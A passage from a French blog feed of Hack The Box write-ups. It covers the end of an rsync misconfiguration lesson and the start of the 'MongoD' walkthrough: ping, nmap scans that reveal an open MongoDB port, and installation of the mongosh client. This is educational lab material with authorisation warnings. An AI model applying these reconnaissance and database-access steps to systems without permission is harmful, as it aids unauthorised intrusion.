<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/synced#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<p>La faille résidait dans <code>/etc/rsyncd.conf</code>. En autorisant l'accès sans authentification à un module, l'administrateur a transformé son outil de sauvegarde en serveur de fichiers public.</p>
<p><strong>Leçon</strong> : ne jamais exposer rsync sans authentification (<code>auth users</code>) et restreindre l'accès par IP pour que seuls les serveurs de backup autorisés puissent se connecter.</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Misconfiguration</category>
            <category>Linux</category>
            <category>VIP</category>
            <category>Tier 0</category>
        </item>
        <item>
            <title><![CDATA[MongoD]]></title>
            <link>https://mohamedoutougane.com/writeups/mongod</link>
            <guid>https://mohamedoutougane.com/writeups/mongod</guid>
            <pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Découverte d'un service de base de données NoSQL.]]></description>
            <content:encoded><![CDATA[<p>Bienvenue pour cette septième étape de notre parcours <strong>Starting Point</strong>. Aujourd'hui, on s'attaque à <strong>MongoD</strong>. Comme son nom l'indique, on va mettre les mains dans le cambouis avec <strong>MongoDB</strong>, une base de données <strong>NoSQL</strong> extrêmement populaire.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Attention : Il s'agit d'une machine VIP. Vous aurez besoin d'un abonnement HTB pour pouvoir la lancer.</p></div></div>
<p>Le scénario est un grand classique du "fail" en sysadmin, une base de données ultra-performante, mais dont la porte a été laissée grande ouverte sans aucun verrou (authentification).</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant. Si vous voulez le flag, suivez les étapes sur la machine.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation (ex. machines HTB, ou lab perso). Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/mongod#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="découverte-dhôte">Découverte d'hôte<a href="https://mohamedoutougane.com/writeups/mongod#d%C3%A9couverte-dh%C3%B4te" class="hash-link" aria-label="Lien direct vers Découverte d'hôte" title="Lien direct vers Découverte d'hôte" translate="no">​</a></h3>
<p>On commence par vérifier la connectivité avec un <code>ping</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$ping</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PING </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">56</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">84</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> bytes of data.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">59.3</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">81.8</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">64</span><span class="token plain"> bytes from </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30: </span><span class="token assign-left variable" style="color:#36acaa">icmp_seq</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">ttl</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">63</span><span class="token plain"> </span><span class="token assign-left variable" style="color:#36acaa">time</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">72.2</span><span class="token plain"> ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">^C</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">--- </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30 </span><span class="token function" style="color:#d73a49">ping</span><span class="token plain"> statistics ---</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> packets transmitted, </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> received, </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">% packet loss, </span><span class="token function" style="color:#d73a49">time</span><span class="token plain"> 2006ms</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">rtt min/avg/max/mdev </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">59.309</span><span class="token plain">/71.118/81.816/9.222 ms</span><br></span></code></pre></div></div>
<p>Ça répond. On peut passer à l'étape suivante.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="service-enumération">Service enumération<a href="https://mohamedoutougane.com/writeups/mongod#service-enum%C3%A9ration" class="hash-link" aria-label="Lien direct vers Service enumération" title="Lien direct vers Service enumération" translate="no">​</a></h3>
<p>Lançons un scan <code>nmap</code> classique pour voir ce qui est exposé.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Starting Nmap </span><span class="token number" style="color:#36acaa">7</span><span class="token plain">.94SVN </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"> https://nmap.org </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> at </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12 </span><span class="token number" style="color:#36acaa">13</span><span class="token plain">:10 UTC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host is up </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">.053s latency</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Not shown: </span><span class="token number" style="color:#36acaa">999</span><span class="token plain"> closed tcp ports </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">conn-refused</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT   STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">22</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain">     OpenSSH </span><span class="token number" style="color:#36acaa">8</span><span class="token plain">.2p1 Ubuntu 4ubuntu0.5 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Ubuntu Linux</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> protocol </span><span class="token number" style="color:#36acaa">2.0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Linux</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> CPE: cpe:/o:linux:linux_kernel</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service detection performed. Please report any incorrect res</span><br></span></code></pre></div></div>
<p>Seulement du <strong>SSH</strong> ? C'est louche. Sur ces machines de niveau <strong>débutant</strong>, le <strong>SSH</strong> est rarement le point d'entrée. On va donc forcer avec un scan beaucoup plus agressif sur <strong>tous les ports</strong> (<code>-p-</code>) en boostant la vitesse (<code>--min-rate</code>).</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$nmap</span><span class="token plain"> -p- --min-rate</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">100</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Starting Nmap </span><span class="token number" style="color:#36acaa">7</span><span class="token plain">.94SVN </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain"> https://nmap.org </span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> at </span><span class="token number" style="color:#36acaa">2025</span><span class="token plain">-12-12 </span><span class="token number" style="color:#36acaa">13</span><span class="token plain">:13 UTC</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.228.30</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Host is up </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0</span><span class="token plain">.047s latency</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">.</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Not shown: </span><span class="token number" style="color:#36acaa">65533</span><span class="token plain"> closed tcp ports </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">conn-refused</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">PORT      STATE SERVICE VERSION</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">22</span><span class="token plain">/tcp    </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  </span><span class="token function" style="color:#d73a49">ssh</span><span class="token plain">     OpenSSH </span><span class="token number" style="color:#36acaa">8</span><span class="token plain">.2p1 Ubuntu 4ubuntu0.5 </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">Ubuntu Linux</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> protocol </span><span class="token number" style="color:#36acaa">2.0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">27017</span><span class="token plain">/tcp </span><span class="token function" style="color:#d73a49">open</span><span class="token plain">  mongod?</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">service</span><span class="token plain"> unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service </span><span class="token builtin class-name">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">SF-Port27017-TCP:V</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">7</span><span class="token plain">.94SVN%I</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">7</span><span class="token plain">%D</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">12</span><span class="token plain">/12%Time</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">693C15AD%P</span><span class="token operator" style="color:#393A34">=</span><span class="token plain">x86_64-pc-linux-gnu</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">SF:%r</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">GetRequest,A9,</span><span class="token string" style="color:#e3116c">"HTTP/1\.0</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">200</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">OK</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Connection:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">close</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Con</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:tent-Type:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">text/plain</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Content-Length:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">85</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">It</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">looks</span><span class="token string entity" style="color:#36acaa">\x2</span><span class="token string" style="color:#e3116c"></span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:0like</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">you</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">are</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">trying</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">to</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">access</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">MongoDB</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">over</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">HTT</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:P</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">on</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">the</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">native</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">driver</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">port\.</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">%r</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">FourOhFourRequest,</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">SF:A9,</span><span class="token string" style="color:#e3116c">"HTTP/1\.0</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">200</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">OK</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Connection:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">close</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Content-Type:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c"></span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:text/plain</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">Content-Length:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">85</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">It</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">looks</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">like</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">you\x</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:20are</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">trying</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">to</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">access</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">MongoDB</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">over</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">HTTP</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">on</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">the</span><br></span><span class="token-line" style="color:#393A34"><span class="token string" style="color:#e3116c">SF:</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">native</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">driver</span><span class="token string entity" style="color:#36acaa">\x20</span><span class="token string" style="color:#e3116c">port\.</span><span class="token string entity" style="color:#36acaa">\r</span><span class="token string entity" style="color:#36acaa">\n</span><span class="token string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service Info: OS: Linux</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> CPE: cpe:/o:linux:linux_kernel</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ </span><span class="token builtin class-name">.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">Nmap done: </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> IP address </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">host</span><span class="token plain"> up</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> scanned </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">226.27</span><span class="token plain"> seconds</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pré-exploitation">Pré-Exploitation<a href="https://mohamedoutougane.com/writeups/mongod#pr%C3%A9-exploitation" class="hash-link" aria-label="Lien direct vers Pré-Exploitation" title="Lien direct vers Pré-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-des-outils">Installation des outils<a href="https://mohamedoutougane.com/writeups/mongod#installation-des-outils" class="hash-link" aria-label="Lien direct vers Installation des outils" title="Lien direct vers Installation des outils" translate="no">​</a></h3>
<p>Pour parler à MongoDB, il nous faut le client officiel : <strong>mongosh</strong>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>astuce</div><div class="admonitionContent_BuS1"><p>Sur cette machine, il est conseillé d'utiliser une version spécifique (comme la 2.3.2) pour éviter les problèmes de compatibilité avec les vieilles instances MongoDB.</p></div></div>
<p>Donc on télécharge mongosh 2.3.2</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$curl</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-O</span><span class="token plain"> https://downloads.mongodb.com/compass/mongosh-2.3.2-linux-x64.tgz</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">                                 Dload  Upload   Total   Spent    Left  Speed</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">100</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">78</span><span class="token plain">.4M  </span><span class="token number" style="color:#36acaa">100</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">78</span><span class="token plain">.4M    </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">     </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">21</span><span class="token plain">.7M      </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">  </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">:00:03  </span><span class="token number" style="color:#36acaa">0</span><span class="token plain">:00:03 --:--:-- </span><span class="token number" style="color:#36acaa">21</span><span class="token plain">.7M</span><br></span></code></pre></div></div>
<p>Ensuite on le décompresse</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">user@parrot</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ </span><span class="token variable" style="color:#36acaa">$tar</span><span class="token plain"> xvf mongosh-2.3.2-linux-x64.tgz</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/.sbom.json</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">mongosh-2.3.2-linux-x64/LICENSE-crypt-library</span><br></span><span class="token-line" 